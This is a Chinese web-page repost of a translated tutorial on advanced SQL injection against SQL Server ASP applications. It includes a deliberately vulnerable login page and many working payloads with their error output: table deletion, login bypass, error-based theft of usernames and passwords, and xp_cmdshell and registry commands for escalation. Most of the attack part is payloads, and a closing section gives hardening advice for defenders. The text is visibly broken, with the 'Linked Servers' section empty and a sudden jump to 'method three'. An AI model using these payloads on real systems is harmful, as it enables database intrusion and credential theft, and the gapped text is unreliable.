• 网络学院
  • IT资讯
  • 操作系统
  • 网络技术
  • 软件应用
  • 办公软件
  • 编程技术
  • 网站架设
  • 数据库类
  • 平面设计
  • 多媒体类
  • 游戏资讯
  • 教学论文
  • 认证考试
SQLServer应用程序中的高级SQL注入
  站点:
  • 首 页
  • 最新软件
  • 文章教程
  • 国内软件
  • 国外软件
  • 绿色软件
  • 源码下载
  • 字体下载
SQLServer应用程序中的高级SQL注入
软件发布 SQLServer应用程序中的高级SQL注入
网络软件 系统工具 应用软件 联络聊天 图形图像 多媒体类 行业软件 游戏娱乐 编程开发 安全相关 教育教学 数码软件 绿软下载
热门软件: QQ 瑞星 pplive e话通 木马克星 千千静听 office2000 五笔字根 Photoshop 视频分割
返回文章教程首页 >> 文章首页 >> 认证考试 >> 系统工程师 >> SQLServer应用程序中的高级SQL注入

SQLServer应用程序中的高级SQL注入

添加时间: 2007-4-9 3:19:49  作者: 系统工程师认证参考  阅读次数:43   来源: http://www.d9soft.com

       

  介绍:

  SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。

  当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。

  一个典型的SQL语句如下:

  Select id,forename,surname from authors

  这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:

  Select id,forename,surname from authors where forename'john' and surname='smith'

  需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,

  如下:

  Forename:jo'hn

  Surname:smith

  查询语句变为:

  Select id,forename,surname from authors where forename='jo'hn' and surname='smith'

  当数据库试图去执行这个查询时,它将返回如下错误:

  Server:Msg 170, Level 15, State 1, Line 1

  Line 1:Incorrect syntax near 'hn'

  造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如:

  Forename:jo';drop table authors—

  Surname:

  结果是authors表被删除,造成这种结果的原因我们稍后再讲。

  看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:

  Select id,forename,surname from authors where id=1234

  在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库 管理 系统JET引擎中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。

  我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。

  这是一个提交表单页的代码,让用户输入用户名和密码:

<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_loginasp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp的代码,它是用来控制登陆的:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();

<FONT Face='tahoma' color='cc0000'>
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>

  出现问题的地方是process_lgin.asp中产生查询语句的部分:

  Var sql="select * from users where username='"+username+"' and password='"+password+"'";

  如果用户输入的信息如下:

  Username:';drop table users—

  Password:

  数据库中表users将被删除,拒绝任何用户进入应用程序。'—'符号在Transact-SQL中表示忽略'—'以后的语句,';'符号表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。

  攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:

  Username:admin'—

  攻击者可以使用users表中第一个用户,输入如下:

  Username:' or 1=1—

  更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:

  Username:' union select 1,'fictional_user','some_password',1—

  这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

  通过错误消息获得信息

  这个几乎是David Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。

  为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:

  Create talbe users(

  Id int,

  Username varchar(255),

  Password varchar(255),

  Privs int

  )

  然后将下面的用户插入到users表中:

  Insert into users values(0,'admin','r00tr0x!',0xffff)

  Insert into users values(0,'guest','guest',0x0000)

  Insert into users values(0,'chris','password',0x00ff)

  Insert into users values(0,'fred','sesame',0x00ff)

  如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个'1',这样只给他自己一个低权限的用户。

  幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。

  (下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)

  首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:

  Username:' having 1=1—

  这样将会出现如下错误:

  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

  /process_login.asp, line 35

  因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:

  Username:' group by users.id having 1=1—

  出现的错误如下:

  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

  /process_login.asp, line 35

  最终攻击者得到了username字段后:

  ‘ group by users.id,users.username,users.password,users.privs having 1=1—

  这句话并不产生错误,相当于:

  select * from users where username=''

  因此攻击者现在知道查询涉及users表,按顺序使用列'id,username,password,privs'。

  能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:

  Username:' union select sum(username) from users—

  这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

  /process_login.asp, line 35

  这告诉了我们'username'字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。

  Username:' union select sum(id) from users—

  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

  [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

  /process_login.asp, line 35

  我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。

  这样攻击者就可以写一个好的insert查询,例如:

  Username:';insert into users values(666,'attacker','foobar','0xffff)—

  这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:

  select * from master ..sysmessages

  解释这些将实现有趣的消息。

  一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:

  Username:' union select @@version,1,1,1—

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.

  /process_login.asp, line 35

  这句尝试去将内置的'@@version'常量转化成一个整型数字,因为users表中的第一列是整型数字。

  这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:

  Username:' union select min(username),1,1,1 from users where username>'a'—

  这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.

  /process_login.asp, line 35

  因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。

  Username:' union select min(username),1,1,1 from users where username>'admin'—

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.

  /process_login.asp, line 35

  一旦攻击者确定了用户名,他就可以开始收集密码:

  Username:' union select password,1,1,1 from users where username='admin'—

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.

  /process_login.asp, line 35

  一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:

  begin declare @ret varchar(8000)

  set @ret=':'

  select @ret=@ret+' '+username+'/'+password from users where

  username>@ret

  select @ret as ret into foo

  end

  攻击者使用这个当作用户名登陆(都在一行)

  Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—

  这就创建了一个foo表,里面只有一个单独的列'ret',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。

  然后攻击者就可以取得我们要得到的字符串:

  Username:' union select ret,1,1,1 from foo—

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.

  /process_login.asp, line 35

  然后丢弃(删除)表来清楚脚印:

  Username:'; drop table foo—

  这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。

  获得更高的权限

  一旦攻击者控制了数据库,他们就想利用那个权限去获得 网络 上更高的控制权。这可以通过许多途径来达到:

  1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。

  2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统权限运行的)

  3. 利用其他存储过程去改变服务器

  4. 在连接的服务器上执行查询

  5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码

  6. 使用'bulk insert'语法去读服务器上的任意文件

  7. 使用bcp在服务器上建立任意的文本格式的文件

  8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序,使它能做任何ASP脚本可以做的事情

  这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法,为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法:

  [xp_cmdshell]

  许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互。

  Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:

  Exec master..xp_cmdshell 'dir'

  将获得SQLSERVER进程的当前工作目录中的目录列表。

  Exec master..xp_cmdshell 'net user'

  将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。

  [xp_regread]

  另一个有用的内置存储过程是xp_regXXXX类的函数集合。

  Xp_regaddmultistring

  Xp_regdeletekey

  Xp_regdeletevalue

  Xp_regenumkeys

  Xp_regenumvalues

  Xp_regread

  Xp_regremovemultistring

  Xp_regwrite

  这些函数的使用方法举例如下:

  exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEMCurrentControlSetServiceslanmanserverparameters', 'nullsessionshares'

  这将确定什么样的会话连接在服务器上是可以使用的

  exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities'

  这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一 网络 中的网络设备。

  这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。

  [其他存储过程]

  xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:

  exec master..xp_servicecontrol 'start','schedule'

  exec master..xp_servicecontrol 'start','server'

  下表中列出了少量的其他有用的存储过程:

  Xp_availablemedia 显示机器上有用的驱动器

  Xp_dirtree 允许获得一个目录树

  Xp_enumdsn 列举服务器上的ODBC数据源

  Xp_loginconfig Reveals information about the security mode of the server

  Xp_makecab 允许用户在服务器上创建一个压缩文件

  Xp_ntsec_enumdomains 列举服务器可以进入的域

  Xp_terminate_process 提供进程的进程ID,终止此进程

  [Linked Servers]

  方法三:只允许正确的输入

  function validatepassword(input)

  good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”

  validatepassword=true

  for i=1 to len(input)

  c=mid(input,I,1)

  if(InStr(good_password_chars,c)=0) then

  validatepassword=false

  exit function

  end if

  next

  end function

  [SQL SERVER锁定]

  在这指出的重要一点是锁定SQL SERVER是必要的;外面的是不 安全 的。这是一个但创建SQL SERVER时需要做的事情的简短的列表:

  1.确定连接服务器的方法

  a.确定你所使用的 网络 库是可用的,那么使用"Network Utility"

  2.确定哪些帐户是存在的

  a.为应用程序的使用创建一个低权限的帐户

  b.删除不必要的帐户

  c.确定所有帐户有强壮的密码;执行密码审计

  3.确定哪些对象存在

  a.许多扩展存储过程能被安全地移除。如果这样做了,应该移除包含在扩展存储过程代码中的'.dll'文件

  b.移除所有示例数据库——例如'northwind'和'pubs'数据库

  4.确定哪写帐户能过使用哪些对象

  a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小权限

  5.确定服务器的补丁

  a.针对SQL SERVER有一些缓冲区溢出和格式化字符串攻击,也有一些其他的安全补丁发布。应该存在很多。

  6.确定什么应该被日志记录,什么应该在日志中结束。

 

上下文章:

 

上一篇文章: SQLServer中加密数据须知 下一篇文章: SQLServer讲堂:加密与SQL注入

相关文章:

  • 用Windows Server 2003架设小型邮件服务器
  • 用CMailServer打造邮件服务器
  • Server 2003中为SNMP服务配置网络安全性
  • 城域网光缆线路设计与技术应用
  • AV杀手变种强行关闭杀度软件与下载恶意程序

相关软件:

  • AVira AntiVir Windows Server 2003/2000 8.1.0.1578
  • DHCP Server V7.0
  • SoftEther VPN Server V2.0 Beta 4 Build 4660
  • FTP远程文件同步更新程序 1.0.0.0
  • MySpeed Server V7.1a
  • Foxmail Server For Windows V2.0 公测版

 

快速导航

  • 网络学院
  • 精品汇聚
  • 字体下载
  • 教程下载
  • ASP源码
  • PHP源码
  • Net源码
  • JSP 源码

认证考试分类导航

  • 微软认证
  • 计算机等级考试
  • 软件水平考试
  • 思科认证
  • Oracle认证
  • Linux认证
  • JAVA认证
  • 网络工程师
  • 系统工程师
  • 程序员

本类经典文章推荐

  • SQLServer的安全检查
  • 系统设计师资格与水平考纲 (原高级...
  • 系统分析员备考之ISO9000系列基础...
  • 开发数据库的WEB查询
  • 在builder中向Excel传递数据
  • 用Powerbuilder开发WEB数据库
  • PowerBuilder制作IE风格的图标按钮
  • PowerBuilder编程技巧四则
  • 小议数据库主键选取策略
  • 跨数据库文献检索统一平台的实现

系统工程师阅读排行

  • 数据库原理各章节简答题总结
  • 利用C++Builder6.0开发简单的车辆...
  • 跨数据库文献检索统一平台的实现
  • 用Powerbuilder开发WEB数据库
  • 系统设计师资格与水平考纲 (原高级...
  • 项目进度的黑洞——已完成90%
  • 系统分析员备考之ISO9000系列基础...
  • 小议数据库主键选取策略
  • 数据库系统工程师全真预测试卷(一...
  • 2005年上半年数据库系统工程师上午...

认证考试阅读总排行

  • 全国计算机等级考试一级模拟试题01
  • 全国计算机等级考试一级模拟试题10
  • 全国计算机等级考试一级模拟试题08
  • MCSD简介
  • 全国计算机等级考试一级考试最新模...
  • 全国计算机等级考试一级模拟试题07
  • 全国计算机等级考试一级模拟试题02
  • 全国计算机等级考试一级模拟试题06
  • 全国计算机等级考试一级模拟试题03
  • 一级(WINDOWS)试题解析-Word篇

广告位置

字母检索 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 回到顶部

关于我们 | 版权声明 | 免责条款 | 广告联系 | 软件发布 | 下载帮助 | 下载排行 | 网站地图 | 特别鸣谢 | 友情连接

copyright; 2005-2008 D9soft.com 第九软件网 版权所有